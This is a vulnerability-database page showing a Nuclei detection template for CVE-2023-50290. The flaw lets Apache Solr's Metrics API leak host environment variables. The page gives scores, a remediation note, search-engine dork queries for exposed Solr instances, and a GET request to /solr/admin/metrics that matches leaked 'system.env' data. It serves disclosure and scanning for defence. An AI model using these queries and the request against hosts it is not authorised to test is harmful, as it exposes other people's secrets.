Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2023-50290
HistoryJan 16, 2024 - 6:30 p.m.

Apache Solr - Host Environment Variables Leak via Metrics API

2024-01-1618:30:34
ProjectDiscovery
github.com
30
cve
apache solr
exposure
metrics
sensitive information

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

6.2

Confidence

High

EPSS

0.172

Percentile

96.2%

Exposure of Sensitive Information to an Unauthorized Actor Vulnerability in Apache Solr.
id: CVE-2023-50290

info:
  name: Apache Solr - Host Environment Variables Leak via Metrics API
  author: Banana69,DhiyaneshDK
  severity: medium
  description: |
    Exposure of Sensitive Information to an Unauthorized Actor Vulnerability in Apache Solr.
    The Solr Metrics API publishes all unprotected environment variables available to each Apache Solr instance. Users can specify which environment variables to hide, however, the default list is designed to work for known secret Java system properties. Environment variables cannot be strictly defined in Solr, like Java system properties can be, and may be set for the entire host,unlike Java system properties which are set per-Java-proccess.
  impact: |
    This vulnerability can lead to the exposure of sensitive information, potentially allowing an attacker to gain unauthorized access or perform further attacks.
  remediation: Users are recommended to upgrade to version 9.3.0 or later, in which environment variables are not published via the Metrics API.
  reference:
    - https://solr.apache.org/security.html#cve-2023-50290-apache-solr-allows-read-access-to-host-environment-variables
    - https://x.com/sirifu4k1/status/1746755165066236216?s=20
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50290
    - https://github.com/wy876/POC
    - https://github.com/wy876/wiki
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-50290
    cwe-id: CWE-200,NVD-CWE-noinfo
    epss-score: 0.05452
    epss-percentile: 0.93157
    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: solr
    shodan-query:
      - "title:\"Apache Solr\""
      - http.title:"apache solr"
      - cpe:"cpe:2.3:a:apache:solr"
      - http.title:"solr admin"
    fofa-query:
      - title="solr admin"
      - title="apache solr"
    google-query:
      - intitle:"apache solr"
      - intitle:"solr admin"
  tags: cve,cve2023,apache,solr,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/metrics"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"responseHeader":'
          - '"solr.jetty":'
          - 'system.env'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a00463044022032c22d2f2f08912db32782312629457f03184a56631aa39d3cb5ac8e77ee86a202204951ff3e98e750b1b2cc2b50e2f68c1d7976f8b71d2d79af28c8208e522aaac7:922c64590222798bb761d5b6d8e72950

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

6.2

Confidence

High

EPSS

0.172

Percentile

96.2%